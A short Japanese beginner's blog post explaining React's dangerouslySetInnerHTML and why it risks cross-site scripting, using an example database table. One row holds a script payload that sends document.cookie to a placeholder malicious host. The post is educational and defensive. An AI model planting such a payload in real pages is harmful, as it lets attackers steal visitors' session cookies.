はじめに
学習中にdangerouslySetInnerHTML
を使用する機会がありました。XSSとは何か、なぜ危険なのかわからなかったため、学んだことをまとめてみました。
dangerouslySetInnerHTMLとは
公式ドキュメントより引用
以下のように、要素に対して生の HTML 文字列を渡すことができます。
const markup = { __html: '<p>some raw html</p>' };
return <div dangerouslySetInnerHTML={markup} />;
公式ドキュメントのタイトルは危険を冒して内部 HTML をセットするとなっています。
マークアップが完全に信頼できるソースから来ていない限り、この方法を使うといとも簡単に XSS 脆弱性が発生します。
名前にdangerousとつくほど注意が必要な機能です。XSS 脆弱性とは何なのでしょうか?
XSSとは
wikipediaより引用
クロスサイトスクリプティング(英: cross-site scripting)とは、Webアプリケーションの脆弱性[1]もしくはそれを利用した攻撃。
標的サイトの権限で悪意のあるコンテンツ(多くの場合スクリプト)を実行する事を目的として行われる[5][1]。悪意のあるコンテンツは標的サイトの権限で実行されるので、同一生成元ポリシーによる制限が迂回される[5][1]。これを悪用する事により攻撃者は標的サイトを閲覧したユーザ(=被害者)のcookieを盗むなど、様々な攻撃を行う。
サイトの脆弱性を利用して、悪意のあるコンテンツを実行させると理解
調べたものの、なぜdangerouslySetInnerHTML
が悪意のあるコンテンツを実行させることができるのかわからない状態でした。
具体例を考えてみる
例えば、WEBアプリケーション上で操作し、DBにhtmlタグを含むデータを登録、取得できるように管理しているとします。
id | name | script |
---|---|---|
1 | あ | <p>あ</p> |
2 | い | <p>あ</p> |
3 | う | <p>あ</p> |
この場合、WEBアプリケーション上で悪意のあるユーザーが以下のid=4のようなデータを登録することが可能です。
id | name | script |
---|---|---|
1 | あ | <p>あ</p> |
2 | い | <p>あ</p> |
3 | う | <p>あ</p> |
4 | え | <script>location.href = 'http://悪意のあるサイト/getCookie.cgi?cookie=' + document.cookie;</script> |
id=4の登録データをdangerouslySetInnerHTMLで表示した場合、悪意のあるスクリプトが実行され、cookieなどが盗まれてしまいます。
これがXSS攻撃と理解しました。
そのため、dangerouslySetInnerHTMLは信頼できるソースでのみ使用することを留意しないといけないと理解しました。
おわりに
dangerousと名前につけるほど危険な機能だなと理解しましたが、何も背景を理解せず利用すると怖いものだなと思いました。
セキュリティの勉強も少しずつ進めていきたいです。
参考